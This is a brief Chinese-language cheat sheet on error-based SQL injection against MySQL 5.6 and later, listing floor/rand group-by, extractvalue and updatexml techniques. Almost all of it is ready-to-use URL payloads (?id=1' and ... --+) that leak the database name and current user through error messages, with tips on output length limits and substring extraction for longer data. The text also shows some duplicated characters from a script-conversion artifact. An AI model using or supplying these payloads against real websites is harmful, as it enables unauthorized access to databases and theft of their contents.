利用報(bào)錯(cuò)注入,mysql5.6以上有三種
第一種 利用floor構(gòu)造重復(fù)鍵group by報(bào)錯(cuò)
輸出字符長度限制為64個(gè)字符
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
第二種 updatexml和extractvalue 基于 ~ 符號報(bào)錯(cuò)
注意的是這種最多能報(bào)32位長度,如果有更多位數(shù)請使用字符串截取函數(shù)
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+